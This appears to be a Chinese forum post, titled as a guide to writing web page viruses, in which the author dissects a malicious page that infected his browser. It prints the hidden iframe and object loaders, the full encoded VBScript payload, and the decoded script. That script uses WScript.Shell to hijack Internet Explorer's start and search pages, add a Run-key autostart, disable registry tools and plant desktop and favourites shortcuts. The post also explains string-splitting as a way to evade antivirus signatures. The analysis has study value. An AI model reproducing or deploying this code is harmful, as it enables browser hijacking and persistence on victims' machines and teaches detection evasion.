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| 关键词： 网页 代码 面的 病毒 加密 http com 杀毒软件 乱七八糟 163 |
如何写网页病毒——要看的快看可能很快就给删掉了今上在网上浏览网页的时候，在不知不觉中，中了网页病毒，我本来是开着瑞星杀毒的，也是昨天才升级的却一点也没反应说有毒入侵，在经过一番折腾之后，终于明白他的机理.记录如下[第一步]我首先有用flashget下载了有病毒的网页，看源文件，里头有这一行代码<iframe src=http://my.5e163.com/ie.htm width=0 height=0 frameborder=0 scrolling=NO></iframe>这一行代码，好明显是说明不显示网页中，却它在网页中，说明不怀好意~~~~[第二步]我接着再用flashget 下载上面的http://my.5e163.com/ie.htm,再看源代码只有四句<html><object data="http://my.5e163.com/com88.test"></object></html>[第三步]再下载http://my.5e163.com/com88.test得出如下代码<html><object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><script LANGUAGE="VBscript.Encode">#@~^AQgAAA==@#@&hd4R"+oqDbO+,JuJLJF/r[J`w?KJ[rWOhr[rl.+w\bJ'J1.Wr[EdK0J'ED-(xr'rYnMJLJxJLEY,2E[r62ELJVK.JLJ+Mw\lr[rkU-jOr[ElME[rY~KmJ[ELjsPr4DY2=zJ:Xc*qv2R^WsJ@#@&S/tc]+TDbOnPrCr[E|/ELJi-UGJLJWOSJ[ECM+wHbELJ^MWr[JkW6E[rYwq J'ED+Dr'J +JLEOPAJLJawE'rVGDr'JDw\mJ[Er -jYr'rl.r[rYPhlr'JT+E~,J4ODw)J&:HR*q&cmK:E@#@&Akt ILMkOn,JCE'r|/JLE`-jKJLJ0Dhr'JmDn-tkE'rmDKE[r/W6E'JD-&xE[EODE[rU+r[EO,2J'EXwE[rsKDELJD-tlr'Jbxw?J'EmDm4~nmJ[rLnJBPrtOY2lJzhXcX+8vf 1W:E~@#@&A/4 "+LqDbY+,J_E[r|/JLJiwUWJLE0DhJLECD-tkE[E^MWE[rdW6J'ED-qUELJO+MELJUJLJY,2r'JXwE[rVG.r[J.-tlJLErx'N0E[EC!VO{aE[rlLn|EDE'rVE~,E4YOa)Jz:HRlnF+& mK:E@#@&h/4 IoMrO+,J_J'JF/r[Ej'jWr[EWDhJ'EmDn-trr[E1DKJ[r/KWJLJO-&xE'rY+ME[rx+r'EY,2r[E62ELjsWME[r+.w:XwE'r+[j"Jk-;MJLJV8JBEtDY2)Jzhzc*+8&cmWsE@#@&S/4R]+L MkO+,ECr[EF;J[Ei'?GJLE6YAr[rlD-trJLJ^DKJ'EkW0r'JD-q E'JD+MJ'JUnr[EY,3JLJa2r[jsGMJ'J.'KzaJLJ+9j"E[rSd-!DE'rV rSJ4YYal&zsXc*nFfcmG:r@#@&S/4 "+o .bYnPrur[EnZr[J`-UGJLJWYSJ'EmD+'\kr[J1.GJLJkWWJ'ED-(xr'JD+.ELJxnELJOPAELJaaJLJVKDr'JDwKHJ'Ea+N`E[rISr'E/'Er[EDsfr~EtDOw=z&hHR*nq+& mKhr@#@&S/4RIoq.kD+~J_J'EnZJLEj'?Wr'E0Dhr[El.n'HrJLEmMWE'r/WWELJO-&Ur[ED+MJ[rxE[rY~2r[EaaJ[rsWMJ[rn.-tlr[EkUwwkE[r./DPuGr[Jhn,nCJLET+EBJ4YYa)J&:HRX+8vf 1W:r@#@&S/tc]noqDbYnPEur[E|;E[rjwjKJ[EWDhE[rCM+wtkr[J1DKE[r/G0r[EO'qxr'JD+Dr'ExJLJOP3ELJawr'J^W.ELJ+.wtlE[rr -obDr[JkY,uJLJG:r[En,nlr'JT+JBE4YDw=z&:z l+qv2 mK:E@#@&h/4 "+LMrD+~rCr[JnZr'J`-jWr[EWDhJLElM+-hGsk1k/wHrELJ^DKE[r/GWr[JOw&xE[rODELJ +JLJD~2r[E6aJ'E^WDr'JD-;GE[rxDDE[EG^PKlr'J +E'rV-uELJG:ELJKmJLJoJBEFr~EIAMm9qrIGE@#@&h/4 ]+TMkO+~E_J'Jn/JLJiwUWJ'E6YAJLEmDn'HbJ[rmMGJLJdW6J'ED-bE[rxNKE'js/'ZE[E;MDE[rnxD.nELJDdrr[EW w"J'rE -qAJLE(hSE[rr]3c2(AE~,JqApKS}IAR3(3~4YOw=&zsX XFvf 1WhJ@#@&S/4cIoMkDnPrCFJLJ/ELJj'jWr[J6OE[rhmJ'J.n'Hrmr'JMWE'r/WWELJO-qrr[E NKJ[rhkwZ!DE[rDnUr[JD#+r[JMdE[rkKxwnGsr[Ek1rJLJnd'?XE'r/E[rOJ'r:'fkkJLEl(VE[r+]nr[JTr/r[JD.E[rX:WGJ'E^/E~rqJBJ]3V{f 6"fE@#@&Akt "+TDbY~J_J'JnZE'rj-UGJLJ0DAE[rlM+wHrELJ^DKE[r/GWr[JOw&xE[rODELJ +JLJD~2r[E6aJ'E^WDr'JD-tCE[rk - kUELJ[WS~KbYE'rV+ES,JRO欢迎访问,hHRXF+&R1WsROr@#@&hbx[GSRm^G/@#@&eC4CAA==^#~@</script><script LANGUAGE="VBscript.Encode">#@~^1gMAAA==@#@&WU,+MDWMPMn/!:nP +aO@#@&ZmsV,SW Lo+b{zN[sC-KDrYd`r【音乐影视】jsE4YY2lJzhXcXF2R1W:r#@#@&ZmVsPdWULw+k|)N9sl7G.kD+k`E【上万首音乐】jsE4YOw=&zsX XFvf 1WhJ*@#@&@#@&Kx,+DMWM~D/;:PUnXY@#@&/l^VPdGUow+b{)N[9/VYK2`r音乐影视jsE4YY2lJzhXcXF2R1W:r#@#@&ZmVsPdWULw+k|)N9f+kVOWa`r上万首音乐jsJ4ODwlzJhXc*nq+&R^GsJb@#@&@#@&WU,+MDWMPMn/!:nP +aO@#@&ZmsV,SW Lo+b{zN[p;r13Jl!Um4`E,娱乐明星网YJ~E4DY2)J&sX l+8v&cmKhJ*@#@&ZmVs~dWxTo+b{b9[}Ebm0SCEU^4`E$上万首音乐YE~rtOOa)z&hHRX+82R^K:r#@#@&@#@&oE mOkKx~JKxownk|bN9oC\KDbYn/cHBPi#@#@&dKx~nMDW.~M+dEsn,xnXY@#@&dU+D~?,'~hkt /M+lDn?4WDD^;Yvhkt ?2n1kCVwGV9+.dvjsC-KDrYdr#~3PrzJ,_,HP3J j"SEb@#@&dU KmDoOKlDt,'~j7@#@&djRUC\`b@#@&d?nO,?sP{~S/4cZM+lD+U4WMY^ED`Ad4R?anmblVwGsNDk`EsC-KDrYdJ*PQ~rz链接zE~3PHP3Ecj]dJ*@#@&i?^ KmDL+DnCO4P',i@#@&d?^ jl7+v#@#@&3U9PoE ^YbWU@#@&@#@&o; mOkKU,SG ow+k|b9[f/VYKwcHBPj*@#@&iWx,n.DKD,Dn/;hPU+XO@#@&djnDP?~x,hdtc/M+CD+UtWMY1;Yvhdtc?2n1kl^oW^N+MdcJzV^jd+.dG+d3DGwr#~Q,JzE~3PHP3Ecj]dJ*@#@&i?cPlMonYhlO4,'P`7@#@&d?cjC\`*@#@&2U[,s;x1OkKx@#@&@#@&rBEBAA==^#~@</script><script language="Jscript.Encode">#@~^TgAAAA==@#@&0; mDkW P1sWk+rYv#~`@#@&/OKb:+K;O`r/VWR^sK/n`*E~l#@#@&)@#@&^sK/nkDc*@#@&ARUAAA==^#~@</script></html>一片乱七八糟，但其中的有一个关键字，引起我的注意 LANGUAGE="VBscript.Encode",于是我就顺腾摸瓜，上网找了一下，这方面的资料，原来encode是用来加密了脚本的，但找了好一阵子，都没有这方面的解密软件，而加密的就有好多了，而只是在http://www.china100.net/java1.htm找到在线解密的网页，于是他上面的乱七八糟的代码复制到该网页的输入框，解码成功然后我将解码后的代码复印到记事本中，得代码如下<html><object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><script LANGUAGE="VBscript">wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\St"&"ar"&"t Pa"&"ge", "http://my.5e163.com"wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\St"&"ar"&"t Pa"&"ge", "http://my.5e163.com"wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\Se"&"arch Pa"&"ge", "http://my.5e163.com" wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\def"&"ault_p"&"age_ur"&"l", "http://my.5e163.com"wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Typ"&"edURLs\ur"&"l1","http://my.5e163.com"wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Typ"&"edUR"&"Ls\ur"&"l2","http://my.5e163.com"wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ty"&"pedU"&"RL"&"s\u"&"rl3","http://my.5e163.com"wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\Fi"&"rst Ho"&"me Pa"&"ge","http://my.5e163.com"wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\Fir"&"st H"&"om"&"e Pa"&"ge","http://my.5e163.com"wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Policies\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Co"&"ntr"&"ol Pa"&"ne"&"l\H"&"ome"&"Pa"&"ge","1","REG_DWORD"wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\Wi"&"ndo"&"ws\C"&"urr"&"entVe"&"rsi"&"on\R"&"un\IE"&"XPL"&"ORE.EXE", "IEXPLORE.EXE http://my.5e163.com"wsh.RegWrite "HK"&"C"&"U\So"&"ft"&"wa"&"re\Mic"&"ro"&"sof"&"t\Wi"&"ndo"&"ws\Cur"&"ren"&"tVe"&"rs"&"ion\Pol"&"ici"&"es\Sy"&"s"&"te"&"m\Dis"&"abl"&"eRe"&"gis"&"tr"&"yToo"&"ls","1","REG_DWORD"wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\Win"&"dow Tit"&"le", "--欢迎访问 my.5e163.com--"window.close</script><script LANGUAGE="VBscript">on error resume nextCall LongFei_AddFavorites("【音乐影视】","http://my.5e163.com")Call LongFei_AddFavorites("【上万首音乐】","http://my.5e163.com") on error resume nextCall LongFei_AddDesktop("音乐影视","http://my.5e163.com")Call LongFei_AddDesktop("上万首音乐","http://my.5e163.com") on error resume nextCall LongFei_AddQuickLaunch("[娱乐明星网]","http://my.5e163.com")Call LongFei_AddQuickLaunch("[上万首音乐]","http://my.5e163.com") Function LongFei_AddFavorites(N, U) on error resume next Set S = wsh.CreateShortcut(wsh.SpecialFolders("Favorites") + "/" + N +".URL") S.TargetPath = U S.Save() Set Sl = wsh.CreateShortcut(wsh.SpecialFolders("Favorites") + "/链接/" + N +".URL") Sl.TargetPath = U Sl.Save()End Function Function LongFei_AddDesktop(N, U) on error resume next Set S = wsh.CreateShortcut(wsh.SpecialFolders("AllUsersDesktop") + "/" + N +".URL") S.TargetPath = U S.Save()End Function </script><script language="Jscript">function closeit() {setTimeout("self.close()",5)}closeit()</script></html> 从上面的代码中，可以很容易的发现，他是写入注册表的，而且是用了词组分解来避开杀毒软件对特征码的查杀，总结一下，该网页病毒用了病毒惯用手法，1。隐藏网页，将网页引向深层，而且用了<object data="http://my.5e163.com/com88.test">等隐藏身份2。加密，这不用说了，3。词组分解，将wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://my.5e163.com"写成wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\St"&"ar"&"t Pa"&"ge", "http://my.5e163.com"等等，来避开杀毒软件， |
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